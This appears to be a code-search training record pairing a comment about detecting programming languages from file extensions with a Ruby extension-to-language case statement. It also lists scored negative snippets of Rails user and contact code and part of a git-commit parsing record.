null'})\n end\n\n\n unless device.nil?\n if resource.valid_password?(params[:user][:password])\n sign_in(resource_name,resource)\n institution = resource.institution\n center = resource.center\n class_info = center.academic_classes.any? ? center.academic_classes.map{|ac_class| Hash[class: ac_class.as_json(:include=>:profile)] } : []\n section_info = center.sections.any? ? center.sections.map{|section| Hash[section: section.as_json(:include=>:profile)] } : []\n @result = @result.merge({device_id:mDeviceID,is_primary: true,sign_in: true,:message=>'Alloted this device as primary',:user=>resource.as_json(:include => :profile),institution: institution.as_json(:include=>:profile),center: center.as_json(:include=>:profile),class_arry: class_info,sections_arry: section_info, store_url:current_user.get_store_url.present?, authentication_token: current_user.authentication_token})\n end\n else\n sign_out(resource_name)\n @result = @result.merge({is_primary: nil,sign_in: false,:message=>'No device found in edutor list'})\n end\n logger.info\"=======AP-result==========#{@result}\"\n\n respond_to do |format|\n format.json {render json: @result}\n end\n end", "def associate_with_user\n if user_id.nil? || user.email == Address::PLACEHOLDER_EMAIL\n self.user_id = User.find_or_create_by_details(\n email: email_address, name: billing_full_name\n ).id\n end\n end", "def _migrate_lti_user\n return if _legacy_lti11_user_id.blank?\n\n user = User.find_by(lti_user_id: _legacy_lti11_user_id)\n if user\n user.lti_user_id = @lti_user_id\n end\n user\n end", "def update\n @user = User.find(params[:id])\n params[:user].delete(:password) if params[:user][:password].blank?\n params[:user].delete(:password_confirmation) if params[:user][:password_confirmation].blank?\n @user.update_column(:fullname,\"#{params[:user][:firstname]} #{params[:user][:lastname]}\")\n @user.update_column(:firstname,\"#{params[:user][:firstname]}\")\n @user.update_column(:lastname,\"#{params[:user][:lastname]}\")\n @user.update_column(:department,\"#{params[:user][:department]}\")\n @user.update_column(:time_zone,\"#{params[:user][:time_zone]}\")\n @user.update_attribute(:photo,params[:user][:photo])\n @user.update_column(:is_prop,params[:user][:is_prop])\n @user.update_column(:is_vote_reminder,params[:user][:is_vote_reminder])\n @user.update_column(:is_prop_reminder,params[:user][:is_prop_reminder])\n \n # Save nominee info\n @nominee = Nominee.find_by_user_id(params[:id])\n unless @nominee.nil?\n @nominee.firstname = @user.firstname\n @nominee.lastname = @user.lastname\n @nominee.fullname = @user.fullname\n @nominee.updated_at = Time.zone.now\n @nominee.save\n end\n\n\n if params[:page_name] == \"admin\"\n flash[:success] = \"Profile updated successfully.\"\n redirect_to admin_user_path\n elsif\n flash[:notice] = \"Profile updated successfully.\"\n redirect_to @user\n else\n @title = \"Edit user\"\n render 'edit'\n end\n end", "def link_user_accounts\n if self.current_user.nil?\n #register with fb\n User.create_from_fb_connect(facebook_session.user)\n else\n #connect accounts\n self.current_user.link_fb_connect(facebook_session.user.id) unless self.current_user.fb_user_id == facebook_session.user.id\n end\n create_current_login_cookie\n update_balance_cookie\n redirect_back_or_default('/')\n end", "def create_or_find_user\n User.find_or_create_by(provider: auth_hash['provider'], uid: auth_hash['uid']) do |user|\n user.email = auth_hash['info']['email']\n user.name = auth_hash['info']['name']\n user.username = auth_hash['extra']['raw_info']['login']\n user.public_repos = auth_hash['extra']['raw_info']['public_repos']\n end\n end", "def user_verified?; end" ]
[ "0.66844976", "0.63780236", "0.6296657", "0.62190723", "0.6120629", "0.6054091", "0.6045318", "0.60224813", "0.60028905", "0.5974822", "0.5886708", "0.58503234", "0.58439493", "0.57655066", "0.5752635", "0.57413405", "0.57342136", "0.57316685", "0.5704269", "0.5695355", "0.5694972", "0.56945926", "0.5690518", "0.56772566", "0.5669666", "0.56605536", "0.5657258", "0.5656933", "0.5645105", "0.5636274", "0.5630711", "0.56269604", "0.5604408", "0.5597807", "0.55931914", "0.5589655", "0.55874", "0.5582226", "0.55756855", "0.5565754", "0.5563847", "0.5561087", "0.55556285", "0.55346674", "0.55338246", "0.5527871", "0.5526723", "0.5520872", "0.55196977", "0.5518813", "0.5518704", "0.5515843", "0.5514083", "0.5497497", "0.54956156", "0.5494528", "0.54937345", "0.54928184", "0.5491115", "0.54877156", "0.54840785", "0.5470916", "0.5470007", "0.54670924", "0.54555404", "0.5450445", "0.5434331", "0.5432198", "0.5424497", "0.5418072", "0.5417673", "0.5413841", "0.541337", "0.5410361", "0.5407536", "0.54065096", "0.540417", "0.5402314", "0.54009473", "0.5399515", "0.539866", "0.539844", "0.5389308", "0.53838825", "0.5380994", "0.53773135", "0.53703254", "0.5365199", "0.53643334", "0.5359642", "0.53596115", "0.53569514", "0.53541493", "0.53497297", "0.53475857", "0.53465676", "0.5341521", "0.53409", "0.5339868", "0.53396636" ]
0.54778445
61
Return the last_fetched user's contacts (lactic or other)
def lactic_contacts(id,lactic_contacts) # PostgresUser.lactic_contacts(uid,lactic_contacts) lactic_pg_contacts(id,lactic_contacts) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def get_last_users_parsed\n return @last_parsed_userlist_data\n end", "def recently_contacted_users\n Skype.find_users_of_type \"RECENTLY_CONTACTED_USERS\"\n end", "def contacts\n\t\t@user = current_user\n\t\tcheck_if_myself\n\t\t@contacts = @user.contacts\n\tend", "def getContacts\n messages = [] \n \n if !self.received_messages.nil?\n messagesRecv = (self.received_messages.order(:updated_at)).reverse \n\t messagesRecv.each do |recv|\n\t user = User.find(recv.sender_id)\n\t unless messages.include?(user)\n\t\t messages += [user]\n\t\t end\n\t end\n end\n if !self.send_messages.nil?\n messagesSend = (self.send_messages.order(:updated_at)).reverse \n\t messagesSend.each do |send|\n\t user = User.find(send.receiver_id)\n\t unless messages.include?(user)\n\t\t messages += [user]\n\t\t end\n\t end\n end\n\t return messages\n end", "def get_all_contacts\n\t\t#@contacts = Contact.find_with_deleted(:all, :conditions=>[\"company_id=?\", get_company_id], :order=>\"coalesce(last_name,'')||''||first_name||''||coalesce(middle_name,'') asc\")\n #Bug 11593 Deleted contacts are displayed in Drop down.\n @contacts = Contact.find(:all, :conditions=>[\"company_id=?\", get_company_id], :order=>\"coalesce(last_name,'')||''||first_name||''||coalesce(middle_name,'') asc\")\n end", "def user_contacts(user_id, options={})\n response = connection.get do |req|\n req.url \"/user/#{user_id}/contacts\", simple_params(options)\n end\n response.body\n end", "def get_user_contacts username_for, options = {}\n do_request 'get_user_contacts', options.merge(username_for: username_for)\n end", "def user_added_contact_emails\n self.user ? self.user.added_contacts.pluck('email') + [self.user.email] : []\n end", "def get_contacts(user_or_identifier)\n identifier = identifier_param(user_or_identifier)\n json = parse_response(get(\"/api/#{API_VERSION}/get_contacts\",\n :apiKey => @api_key,\n :identifier => identifier))\n ContactList.new(json)\n end", "def contact\n @contact ||= get_contact(@data_object.user_contact)\n end", "def fetch_contact_info\n lambda {\n user.vet360_contact_info\n }\n end", "def show_related\n approved_friends = current_user.allFriends.map!{|user| user.id}\n pending_friends = current_user.allPendingFriends.map!{|user| user.id}\n contacts = []\n filtered_contacts = current_user.contacts.where(\"contacts.name ilike '%#{current_user.lastname}%'\").joins('inner join users on users.email = contacts.email')\n filtered_contacts.each do |contact|\n user = User.find_by_email(contact.email)\n\n # Verify current user isn't that contact!\n next if user.id == current_user.id\n\n # Rehash contact\n currentContact = {\n :uid => Digest::MD5.hexdigest(contact.id.to_s),\n :name => contact.name,\n :email => contact.email,\n :source => contact.source,\n :user_id => user.id,\n :is_confirmed_friend => approved_friends.include?(user.id),\n :is_pending_friend => pending_friends.include?(user.id),\n :profile_photo => user.profile_photo\n }\n\n # Add to contacts list\n contacts << currentContact\n end\n render :status => 200, :json => {:contacts => contacts, :total_contacts => contacts.size}\n end", "def fetch_user(id)\n fetch( :user, id ).last_result_item\n end", "def cached_collaborators\n #Rails.cache.fetch([self, 'collaborators']) do\n self.collaborators.select(['users.id', 'users.first_name', 'users.last_name']).to_a\n #end\n end", "def index\n # only show contacts for current login user\n @user = User.find_by_id(current_user.id)\n if (!@user.nil?)\n @contacts = @user.contacts\n end\n end", "def get_last_user\n @last_user = User.last\n end", "def some_contacts\n contacts[(0...MAX_DEFAULT_CONTACTS)]\n end", "def some_contacts\n contacts[(0...MAX_DEFAULT_CONTACTS)]\n end", "def last_modified_by; User.get(self.last_modified_by_id); end", "def last_modified_by; User.get(self.last_modified_by_id); end", "def last_modified_by; User.get(self.last_modified_by_id); end", "def last_modified_by; User.get(self.last_modified_by_id); end", "def contacts\n @contacts ||= User.any_in(:_id => facilities.map(&:consumer_ids).flatten.uniq)\n end", "def last_contacted\n object.channels.where(is_private: true).first.last_message_time\n end", "def last_name # same as field name ;\n User.where(id: object.user_id)[0].last_name\n end", "def contacts\n Person.find_by_sql(contact_query(\"people.id, people.created_at\"))\n end", "def fetch_latest_user_info\n\t\t@user_info = @client.execute(api_method: @info.userinfo.get).data\n\tend", "def prepare_contacts\n return unless defined? @user\n @user.user_default_emails.sort_by{|a| a.role_id.to_i}\n end", "def index\n @contacts = current_user.contacts.order(:email_address)\n end", "def getContacts\n @contact_list.each_with_index do |c, i|\n #puts \"#{i +1}) #{c}\"\n puts \"#{i +1}) #{c[:first_name]} #{c[:last_name]} #{c[:email]}\"\n end\n end", "def contacts\n respond_with_entity(api.get('/api/v1/profile/contacts'),\n NexaasID::Entities::Profile::Contacts)\n end", "def display_all_contacts\n\t\t@rolodex.contacts.each do |user|\n\t\t\tputs \"First Name:#{user.first_name}\" \n\t\t\tputs \"Last Name: #{user.last_name}\"\n\t\t\tputs \"Email Address:#{user.email}\" \n\t\t\tputs \"Note: #{user.note}\"\n\t\tend\n\tend", "def my_contacts(opts = {})\n client.get_my_contacts(opts)\n end", "def liaison\n inverse_accounts.last.user\n end", "def contacts(options = {})\n params = { :limit => 200 }.update(options)\n response = get(PATH['contacts_full'], params)\n parse_contacts response_body(response)\n end", "def contacts\n first_set = self.initiated_contacts\n second_set = self.received_contacts\n return first_set + second_set\n end", "def last_name\n friend = User.find_by_id(self.friend_id)\n return friend.last_name\n end", "def contacts\n ensure_cache_up_to_date\n contacts = self.redis.keys(\"bluster:objects:contact:*\")\n contacts.map! { |r| r.split(\":\")[3] }\n contacts.uniq\n end", "def all_contacts\n ret = []\n chunk_size = 200\n offset = 0\n \n while (chunk = contacts(:limit => chunk_size, :offset => offset)).size != 0\n ret.push(*chunk)\n offset += chunk_size\n break if chunk.size < chunk_size\n end\n ret\n end", "def user\n User.get(contact, client: @client)\n end", "def add_contact(ownnick, person)\n return ret_fail('can not add yourself') if person == ownnick #you cant add yourself !\n\n usr = User.first(:nickname=>person)\n return ret_fail('no such user') if usr == nil #user does not exist !\n\n ownusr = User.first(:nickname => ownnick) #get own record to get the contact list\n return ret_fail('already in list') if ownusr.contacts.first(:userid => usr.id) != nil\n\n c = ownusr.contacts.new\n c.userid = usr.id\n puts usr.id\n puts c.userid\n c.authgiven = 'f'\n c.save\n\n return ret_success\nend", "def contacts #allows the contacts page to display all the members and their contact info\n @users = User.all\n @users.each do |user|\n puts user.username\n end\n end", "def get_google_contacts\n url = \"https://www.google.com/m8/feeds/contacts/default/full?access_token=#{token}&alt=json&max-results=100\"\n response = open(url)\n json = JSON.parse(response.read)\n my_contacts = json['feed']['entry']\n\n my_contacts.each do |contact|\n name = contact['title']['$t'] || nil\n email = contact['gd$email'] ? contact['gd$email'][0]['address'] : nil\n tel = contact['gd$phoneNumber'] ? contact[\"gd$phoneNumber\"][0][\"$t\"] : nil\n if contact['link'][1]['type'] == \"image/*\"\n picture = \"#{contact['link'][1]['href']}?access_token=#{token}\"\n else\n picture = nil\n end\n contacts.first_or_create({name: name, email: email, tel: tel})\n end\n end", "def find_contact_for_signin(email:, firstname:, lastname:, date_of_birth:)\n filter = filter_pairs(emailaddress2: email, emailaddress1: email)\n\n store.fetch(Contact, filter: filter, limit: 20, order: 'createdon desc')\n .find { |c| c.signin_attributes_match? firstname, lastname, date_of_birth }\n .tap { |c| crmlog \"Read contact #{c.contactid}\" if c }\n end", "def fetch_more_contacts\n page_limit = params[:page_no].to_i * params[:per_page].to_i\n @contact = eval(params[:contact_type]).find(params[:c_id].to_i)\n if params[:contact_type] == \"IndividualContact\"\n @individual_contacts = @current_organization.individual_contacts.where('id NOT IN (?)',params[:c_id]).order(\"id desc\").limit(page_limit)\n @company_contacts = @current_organization.company_contacts.order(\"id desc\").limit(page_limit)\n else\n @individual_contacts = @current_organization.individual_contacts.order(\"id desc\").limit(page_limit)\n @company_contacts = @current_organization.company_contacts.where('id NOT IN (?)',params[:c_id]).order(\"id desc\").limit(page_limit)\n end\n @contacts = @individual_contacts + @company_contacts\n render partial: \"list_contacts_in_contact_details\"\n end", "def get_other_contacts(matter)\n client_contacts = matter.client_contacts\n client_contacts << matter.primary_matter_contact\n client_contacts.compact\n end", "def get_friends\n @person = Person.find_by_guid(params['user_id'])\n if ! @person\n render_json :status => :not_found and return\n end\n\n if params['sortBy'] == \"status_changed\"\n params['sortOrder'] ||= \"ascending\"\n @friends = @person.contacts.all\n @friends.sort!{|a,b| sort_by_status_message_changed(a, b, params['sortOrder']) }\n else\n @friends = @person.contacts\n end\n @friends.filter_paginate!(params[:per_page], params[:page]){true}\n @friends.collect! { |p| p.to_hash(@user, @client)}\n render_json :entry => @friends, :size => @friends.count_available and return\n end", "def index\n @contacts = current_user.contacts\n end", "def index\n @contacts = current_user\n .contacts\n .where(active: true)\n .order(id: :desc)\n render json: @contacts\n end", "def user_role_contacts(achived,sort_order)\n remaining_roles = []\n merge_roles = remove_county_or_country_roles\n\n merge_roles.each do |role|\n remaining_roles << contact_types[role]\n end\n\n remaining_roles = remaining_roles.flatten\n contacts = Contact.where(contact_type: { '$in': remaining_roles }).archived(achived).all.order_by(sort_order)\n contacts\n end", "def get_all_contacts\r\n info = load_contacts\r\n info.each do |arr|\r\n puts \"#{arr[0]}: #{arr[1]} (#{arr[2]})\"\r\n end\r\n puts \"---\"\r\n puts \"#{generate_id} records total\"\r\n end", "def last_name\n @json['user']['content']['lastname'] || ''\n end", "def index\n\t\t@contacts = current_user.contacts.get_active_contacts\n\tend", "def get_last_entry\n @entry = FeedEntry.find(:first, :conditions => {:person_id => self.id})\n end", "def common\n #if Contact.where(:organization_id => current_user.organization.id).any?\n # #@users = current_user.organization.contacts.group_by{|u| u.first_name[0]}\n # @users = Contact.where(:organization_id => current_user.organization.id).order(\"name,first_name\")\n #end\n # Contact.all.each do |contact|\n # contact.update_column :created_by, current_user.id\n # end\n begin\n lastcontact = current_user.activities.where(\"activity_status=? and activity_type in (?)\", \"Create\", [\"IndividualContact\", \"CompanyContact\"]).last\n unless lastcontact.present?\n lastcontact = current_user.organization.activities.where(\"activity_status=? and activity_type in (?)\", \"Create\", [\"IndividualContact\", \"CompanyContact\"]).last\n\n end\n if lastcontact.present?\n if lastcontact && lastcontact.activity_type == \"IndividualContact\"\n @contact = IndividualContact.find(lastcontact.activity_id)\n get_contact_attrs\n elsif lastcontact && lastcontact.activity_type == \"CompanyContact\"\n @contact = CompanyContact.find(lastcontact.activity_id)\n get_contact_attrs\n end\n else\n contacts=current_user.organization.individual_contacts\n @contact = contacts.last\n get_contact_attrs\n end\n rescue ActiveRecord::RecordNotFound\n flash[:bowarning]=\"It seems you don't have sufficient privilege to access this item or something went wrong with your account permissions. Please contact Admin to get this fixed.\"\n #redirect_to contacts_path\n end\n\n end", "def index\n @contacts = current_user.contacts.all\n\n\n end", "def display_one_contact\n contact = retrieve_contact_by_email\n end", "def all_contacts\n Contact.all\n end", "def contacts\n @contacts ||= get_attr(:contacts).collect { |c| OpenStruct.new(c) }\n end", "def lastCreated\n \t@persona = Personal.order(\"created_at DESC\").limit(4)\n end", "def get_matters_and_contacts\n\t\tget_matters\n\t\tget_all_contacts\n\tend", "def contacts\n fail NotPersisted if id.nil?\n\n @contacts ||=\n begin\n links = Amorail::ContactLink.find_by_leads(id)\n links.empty? ? [] : Amorail::Contact.find_all(links.map(&:contact_id))\n end\n end", "def recent_login(users)\n\tputs 'starting recent_login, length is ' + users.length.to_s\n\tres = Array.new\n\tlast_month_unform = (Time.current - 30.days).to_s.split(\" \")\n\ttoday_unform = Time.current.to_s.split(\" \")\n\tlast_month = last_month_unform[0] + 'T' + last_month_unform[1]\n\ttoday = today_unform[0] + 'T' + today_unform[1]\n\tusers.each do |person|\n\t\ttmp = person['id'].to_s\n\t\tresponse = TOKEN.get(\"/v2/users/\" + tmp + \"/locations?range[begin_at]=#{last_month},#{today}\").parsed\n\t\tif response.length > 0\n\t\t\tres.push(person)\n\t\tend\n\tend\n\treturn res\nend", "def primary_service_learning_contacts\n u = Unit.find_by_abbreviation(\"carlson\")\n c = contacts.find(:all, :conditions => {:organization_contact_units => {:unit_id => u.id, :primary_contact => true}})\n c.empty? ? position_supervisor_contacts : c\n end", "def user\n result = contact_categories.first(:conditions => {:category_type => User.to_s})\n result ? result.category : nil\n end", "def find_other_recipients(user)\n self.users.find(:all)\n end", "def contact_to(actor)\n sent_contacts.received_by(actor.id).first\n end", "def index\n @contacts = User.where(:user_type => USER_TYPE_CONTACT)\n end", "def get_contact\n if self.contact_id\n return self.contact\n end\n end", "def most_active_user\n \n end", "def contact_name \n User.find(Membership.find(self.owner_id).user_id).name\n end", "def all_users()\n @endpoint = \"/users.json?limit=100\"\n setup_get\n res = @http.request(@req)\n return JSON.load(res.body)[\"users\"].sort_by { |user| user[\"lastname\"] }\n end", "def contacts\n @contacts ||= CreditorContactProxy.new(self)\n end", "def get_reverse_friend (login_user)\n return @reverse_friend if defined?(@reverse_friend)\n @reverse_friend = Friend.where(\"user_id_giver = ? and user_id_receiver = ?\", self.user_id, login_user.user_id).first\n end", "def get_reverse_friend (login_user)\n return @reverse_friend if defined?(@reverse_friend)\n @reverse_friend = Friend.where(\"user_id_giver = ? and user_id_receiver = ?\", self.user_id, login_user.user_id).first\n end", "def friends\n @user ||= auth_user\n friends = ::User.search_users_in_circle(@user).results\n following_user_ids = ::Stores::Following.where(user_id: @user.id).collect(&:follower_user_id) # others following user\n followings = ::Stores::Following.where(follower_user_id: @user.id).includes(:user).order('last_traded_at desc, id desc') # user following others, already ordered newest to oldest\n followed_user_ids = Set.new # for excluding the non-followers\n both_side_followers = []\n one_side_followers = []\n bound = :circle\n user_ids_to_exclude = []\n auth_user.boundaries.group_by(&:type).each do|btype, blist|\n case btype\n when 'Users::ChildCircleOption'\n case blist.first.content_keyword\n when 'GRADE_ONLY'\n bound = :grade\n when 'CLASS_ONLY'\n bound = :class\n end\n when 'Users::UserBlock'\n user_ids_to_exclude = user_ids_to_exclude + ::Users::Boundary.extract_content_values_from_list(blist)\n end\n end\n followings.each do|following|\n user = following.user\n is_mutual = following_user_ids.include?(following.user_id) # y is also following user\n user.is_follower = true\n user.is_mutual_friend = is_mutual\n if is_mutual\n both_side_followers << user.as_more_json({}, auth_user.id)\n else\n if bound.eql? :circle and ::Schools::SchoolGroup.grades_around(auth_user.grade).include?(user.grade)\n one_side_followers << user.as_more_json({}, auth_user.id)\n elsif bound.eql? :grade and auth_user.grade.eql?(user.grade)\n one_side_followers << user.as_more_json({}, auth_user.id)\n elsif bound.eql? :class and auth_user.teacher.eql? user.teacher\n one_side_followers << user.as_more_json({}, auth_user.id)\n end\n end\n logger.debug \" | %20s | %1s | %10d\" % [user.user_name, is_mutual ? 'B' : 's', following.id]\n followed_user_ids << following.user_id\n end\n non_followers = friends.find_all {|friend| !followed_user_ids.include?(friend.id) }.sort{|x,y| y.id <=> x.id } # newest registered friends\n logger.debug \"-------- #{both_side_followers.size} both side, #{one_side_followers.size} one side, #{non_followers.size} non-followers\"\n @friends = both_side_followers + one_side_followers + non_followers.as_json\n #if they're blocked, remove them regardless.\n result = @friends.map do |friend|\n if not user_ids_to_exclude.include?(friend['id'])\n friend\n else\n nil\n end\n end\n result = result.compact\n respond_to do|format|\n format.json { render json:{ success: true, users: result} }\n format.html\n end\n end", "def last_seen(user)\n seen_when = @db.get_first_value(\"SELECT seen_at FROM last_seen WHERE user = ? COLLATE NOCASE\", user)\n puts \"Last time %s joined was last seen at timestamp \" % [user.to_s, time_ago_in_words(DateTime.parse(seen_when))]\n return \"Last time %s joined was %s ago\" % [user, time_ago_in_words(DateTime.parse(seen_when))]\n end", "def get_list(options={})\n rsp = @flickr.send_request('flickr.contacts.getList', options)\n collect_contacts(rsp)\n end", "def display_competitor_last_name\n x = self.competitor_id\n y = Competitor.find_by_id(x)\n return y.last_name\n end", "def user_info\n\t\t@user_info ||= fetch_latest_user_info\n\tend", "def get_contact_emails\n if @info == nil || !(@info.key? \"contacts\")\n return Array.new\n end\n \n return @info[\"contacts\"]\n end", "def get_contacts(options = {})\n request_params = {}\n\n if !options[:updated_after].nil?\n warn '[warning] :updated_after is depracated in XeroGateway#get_contacts. Use :modified_since'\n options[:modified_since] = options.delete(:updated_after)\n end\n\n request_params[:ContactID] = options[:contact_id] if options[:contact_id]\n request_params[:ContactNumber] = options[:contact_number] if options[:contact_number]\n request_params[:order] = options[:order] if options[:order]\n request_params[:ModifiedAfter] = options[:modified_since] if options[:modified_since]\n request_params[:where] = options[:where] if options[:where]\n request_params[:page] = options[:page] if options[:page]\n\n response_xml = http_get(@client, \"#{@xero_url}/Contacts\", request_params)\n\n parse_response(response_xml, {:request_params => request_params}, {:request_signature => 'GET/contacts'})\n end", "def index\n\t@title = \"My Contacts\"\n\t@users = []\n\tcontacteds = Relationship.where(\"accessed_id = ? AND accepted = ?\", current_user.id, true).paginate(:page => params[:page])\n\tcontactors = Relationship.where(\"accessor_id = ? AND accepted = ?\", current_user.id, true).paginate(:page => params[:page])\n\tcontacteds.each do |contacted|\n\t\t@users.push(User.find_by_id(contacted.accessor_id))\n\tend\n\tcontactors.each do |contactor|\n\t\t@users.push(User.find_by_id(contactor.accessed_id))\n\tend\n\t\n\t@results = @users.paginate(:page => params[:page])\n end", "def display_contacts\n # Fill this in\n # HINT: Make use of this method in the display_all_contacts and search_by_attribute methods\n Contact.all.each do |contacts|\n puts \":#{contacts.full_name}, #{contacts.email}, #{contacts.id}, #{contacts.note}\"\n end\n end", "def list\n @mailing_list.contacts(limit: 10000).map{|contact| contact.email}\n end", "def get_contacts_for_roles(achived,sort_order)\n return all_contacts(achived,sort_order) unless roles_in_contact_types?\n\n unless county_and_country_coordinators?\n return county_and_country_contacts(achived,sort_order)\n end\n\n return user_role_contacts(achived,sort_order)\n end", "def associated_contacts(accounts_path = [])\n if portal_case_scope__c == SCOPES[:this_account]\n contacts\n elsif portal_case_scope__c == SCOPES[:children_accounts]\n self.contacts + sibling_contacts\n elsif portal_case_scope__c.nil? and parent\n parent.associated_contacts(accounts_path << self)\n else # portal_case_scope__c is nil and this is root\n if accounts_path.empty?\n contacts\n else\n accounts_path.first.contacts\n end\n end\n end", "def fetch_facebook_friends\n\t\treturn fetch_facebook_friends_or_subscribers_or_subscribedto(\"friends\")\n\tend", "def get_contact(id)\n return unless self.online? && id # we're offline.\n @telegram.search_public_chat(id).then{|chat| id = chat.id }.wait if id[0] == '@'\n @telegram.get_user(id).wait if not @cache[:users][id] and (id>0) \n @telegram.get_chat(id).wait if not @cache[:chats][id]\n return @cache[:chats][id], @cache[:users][id]\n end", "def twitter_friends(cursor=-1)\n tparams = { :cursor => cursor }\n url = \"http://twitter.com/statuses/friends.json?#{tparams.to_query}\"\n json = twitter_request_authenticated(url)\n nextc = json['next_cursor']\n users = json['users']\n if nextc != 0\n users = users + twitter_friends(nextc)\n end\n users\n end", "def finished_contacts\n @contacts.where(contact_type: 'PBX').where.not(answered: nil, call_ended: nil, service_id: 120)\n end", "def member_contacts\n @member_contacts ||= Member.find_by_sql(\"select members.* from members, contacts where contacts.member_id = #{self.id} and contacts.contactable_id = members.id and contacts.contactable_type = 'Member' \")\n end", "def get_user_info user\n unless user.known_user.nil?\n known_user = user.known_user\n is_me = known_user.is_current_user || false\n return is_me ? \"people/me\" : known_user.person_name\n end\n get_one_of user\nend", "def entries user_id, num = 1, offset = 0, day = 30000000\n ActivityEntry.recent_most user_id, self.id, num, offset, day\n end", "def get_friends\n friends = get(\"friends\")\n\n # [id, name, phone_number, klass]\n if @starred_contacts.length == 0\n Logger.d(\"Starred contacts length was found to be 0, initiating a fetch\")\n t = Thread.start do\n @starred_contacts = ContactsSync.find_all_starred_contacts(@context)\n Logger.d(\"#{@starred_contacts.length} starred contacts are available. Requesting a UI refresh\")\n request_ui_refresh\n end # Thread ends\n end\n\n return friends + @starred_contacts\n end", "def get_contacts\n @notification_server.get_contacts\n end", "def contacts\n Contact.where(account_ids: self._id)\n end", "def personal_profile\n RubyRedtail::Query.run(\"contacts/#{@id}/personalprofile\", @api_hash, \"GET\")\n end", "def legal_contact\n get_user legal_contact_id\n end", "def contacts\n contact_client.contacts\n end" ]
[ "0.6290466", "0.61316556", "0.6113394", "0.6011484", "0.593495", "0.59342337", "0.5848762", "0.58371156", "0.5836697", "0.56929094", "0.5691906", "0.56469727", "0.56374496", "0.56260425", "0.5590778", "0.55723155", "0.55576", "0.55576", "0.55551463", "0.55551463", "0.55551463", "0.55551463", "0.55459553", "0.55454093", "0.55400693", "0.55144954", "0.5507317", "0.5490566", "0.5485742", "0.54703766", "0.5463144", "0.5436736", "0.5436313", "0.54296297", "0.5427687", "0.54065937", "0.5405559", "0.53970224", "0.5381668", "0.53754926", "0.53637385", "0.5333364", "0.5322254", "0.53163135", "0.5309412", "0.53050286", "0.529762", "0.528814", "0.52860355", "0.52798325", "0.5276508", "0.5271105", "0.5268958", "0.52594995", "0.525899", "0.5241343", "0.5238313", "0.5232302", "0.52154595", "0.5200107", "0.51883143", "0.5185731", "0.5183336", "0.51787555", "0.5175215", "0.51638234", "0.5160126", "0.5134177", "0.51257944", "0.51238436", "0.51236606", "0.5115656", "0.5115385", "0.51136726", "0.51136726", "0.5109138", "0.51078457", "0.5104964", "0.51019", "0.5093944", "0.50899136", "0.5082587", "0.50813806", "0.5074126", "0.5072594", "0.5069867", "0.50694793", "0.5065432", "0.5064849", "0.5064254", "0.50573605", "0.5054165", "0.5036188", "0.5035512", "0.5033456", "0.503262", "0.50209594", "0.50203997", "0.50195664", "0.50194836" ]
0.58754605
6
Working Thread Compare commits curl " Could read through the number of lines there are and also get the file extension. Then we could collect meta data on languages/frameworks this way Look for +numbers's. This be an easy way to find the data. Then I should be able to look at all of the file extensions and give it loads of fun data. Get commits per hour RestClient.get(" Using git api compare response = HTTParty.get(" json = JSON.parse(repsonse.body) json["files"][i]["filename"] json["files"][i]["additions"] returns a string. Example "Ruby"
def what_language? filename test = filename.partition(".").last case test when "rb", "ru", "erb", "slim", "haml" "Ruby" when "py" "Python" when "java", "jsp", "jsf" "Java" when "cpp" "C++" when "m" "Obj-C" when "c" "C" when "js", "coffee" "Javascript" when "html" "Html" when "cs" "C#" when "css", "scss", "less" "CSS" when "php" "PHP" when "md" "Readme" when "hs" "Haskell" when "pm", "pl" "Perl" when ".sh" "Bash/Shell" else "Other" end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def regex_process_commit(arr)\n message = \"\"\n filepaths = {}\n end_message_index = 0\n hash = Hash.new\n in_files = false # Have we gotten to the file portion yet? After the ;;; delimiter\n\n #index 5 should be the start\n #of the message\n (5..arr.size-1).each do |i|\n #add lines to message string if they are not identifers of lines we want to get later\n if not arr.fetch(i) =~ (/^git-svn-id:/) and\n not arr.fetch(i) =~ (/^Review URL:/) and\n not arr.fetch(i) =~ (/^BUG/) and\n not arr.fetch(i) =~ (/^R=/)\n\n #concat the message into 1\n #string\n message = message + \" \" + arr.fetch(i)\n else\n #get the last index of the \n #message, is it multiple\n #lines\n end_message_index = i\n break\n end\n end\n\n hash[:message] = message\n arr[5] = message\n\n #remove the multi line message since we condensed it\n (6..end_message_index).each do |i| \n arr.delete(i) \n end\n\n arr.each do |element|\n if fast_match(element, /^Review URL:/)\n @reviews_to_update[element[/(\\d)+/].to_i] = arr[0].strip\n\n elsif fast_match(element, /^BUG=/)\n hash[:bug] = element.strip.sub(\"BUG=\", \"\")\n\n elsif fast_match(element, /^;;;/)\n in_files = true\n\n elsif in_files and element.include?('|') # stats output needs to have a pipe\n # collect the filepath and churn count, store in the filepath hash\n split = element.split('|')\n filepaths[split[0].strip] = split[1].to_i\n \n end#if\n\n end#arr.each\n hash[\"filepaths\"] = filepaths\n \n\n return arr, hash\n\n end", "def commit_info(params)\n user, repo = params[\"user\"], params[\"repo\"]\n shas = get_last_30_days_commits(user, repo)\n commit_hash = {}\n file_arr = []\n hydra = Typhoeus::Hydra.new\n shas.each do |sha|\n request = Typhoeus::Request.new(\"#{GithubApiConstants::GITHUB_ROOT}/repos/#{user}/#{repo}/commits/#{sha}?access_token=#{GITHUB_ACCESS_TOKEN}\")\n request.on_complete do |response|\n if response.success?\n parsed_sha_info = JSON.parse(response.response_body)\n author = parsed_sha_info[\"commit\"][\"author\"][\"name\"]\n files = parsed_sha_info[\"files\"].collect { |f| f[\"filename\"] }\n commit_hash[files] = author\n file_arr << files\n else\n raise RepoExceptionHandler::GithubAPILimitReached.new(GithubApiConstants::GITHUB_API_LIMIT_REACHED_MESSAGE)\n end\n end\n hydra.queue(request)\n end\n hydra.run\n return commit_hash, file_arr\n end", "def process\n filename = \"index.markdown\"\n markdowns = {filename => []} \n state = :message\n message = [\"\\n\"]\n patch = []\n commit = nil\n (@gitlogp.split(\"\\n\")+[\"DONE\"]).each { |line|\n words=line.split\n if line.slice(0,1)==\" \" || words.length==0\n # commit messages start with 4 spaces, diff contents with 1 space\n if state==:message\n if words[0]==\"OUTPUT_FILE:\"\n filename = words[1]\n markdowns[filename] ||= []\n else\n message << \"#{line.slice(4..-1)}\"\n end\n else\n patch << \" #{line}\" if state==:patch\n end\n elsif words[0]==\"commit\" or words[0]==\"DONE\"\n if !commit.nil?\n # replace the short description line with a named link\n shortlog = message[2]\n message[2] = \"<a name='#{shortlog}'> </a>\"\n markdowns[filename] += message.map 